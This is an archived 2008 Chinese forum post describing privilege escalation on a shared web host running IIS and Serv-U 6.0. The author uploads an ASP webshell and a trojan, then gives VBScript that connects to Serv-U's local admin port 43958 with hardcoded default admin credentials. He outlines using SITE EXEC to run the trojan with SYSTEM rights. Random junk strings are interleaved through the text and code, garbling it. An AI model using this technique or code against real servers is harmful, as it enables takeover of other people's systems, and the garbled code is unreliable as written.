我爱电脑技术论坛's Archiver

LOK 发表于 2008-6-22 09:33

Serv-U 6.0提权新招

前几天,朋友买了一个收费的主页空间,把FTP账号和密码给了我,让我看看安全性如何。老规矩,先用X-Scan扫描,只开了80,21端口,用的是IIS5.0和 Serv-U 6.0,用FTP传个ASP木马上去,FSO开着,可是C、D、E、F没有权限,看都看不了。看来这个管理员是安全意识不错,在网站根目录传个自制木马上去,成功保存在d:\web\wwwroot\webss\muma.exe,可惜执行失败,在ASP木马上了看,原来是关了Wscript.shell权限。 ^F tM%{w4b
看来别的地方是动不了了,只好试试Serv-U 6.0提升权限了。问题也来了,臭要饭写的提升权限程序只能在本地提升权限,而我在服务器上有没有执行权,传上去也没有用,看来此路不通。
qIk X8B*Gs 在服务器上转了几圈,没有发现什么可以利用漏洞,看来还是要靠Serv-U,在硬盘里找了找,远程溢出的程序全失败了……突然,我想到Serv-U 6.0本地提权的本质是在本地连43958端口,那我是不是可以在WebShell里用MSWinsock.Winsock连接呢?只要用账户“localadministrator”,密码“#|@$ak#.|k;0@p”就可以连上去了吧?于是我上网找了找,可惜没有发现这种代码,只好自己写了: ;A0XTa.e
dim revdata nG Y)?2I?;n
dim sendata
+Ip+G lg`yE!L set sock=createobject("MSWinsock.Winsock") m4ez,T/{&@
sock.Protocol=0 (用TCP)
r@ ~/Q:pY{ sock.Connect "127.0.0.1",43958
vrG {7aH)o y2D.VO sendata="LocalAdministrator" & chr(10) & chr(13) *vg+T(_} Yc
sock.senddata sendata
S7st%Ee4T.LL sendata="#|@$ak#.|k;0@p" & chr(10) & chr(13) zb#Sz;Z q
sock.senddata sendata Oh!r6`1QQ8~ H
使用这个代码就能连上FTP了,接下来用Sock.senddata sendata发送添加有执行权限用户的命令,然后想必大家也知道了,用有执行权限的用户连上,再用“SITE EXEC”执行命令,好了,木马启动了,有系统权限了。
;@0nA }8I&K} 其实,有时候,管理员一个小小的疏忽,就可以导致整个服务器被攻破,可见,安全是一个整体的重要性,这个看似坚固的服务器就这样一来破了。

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.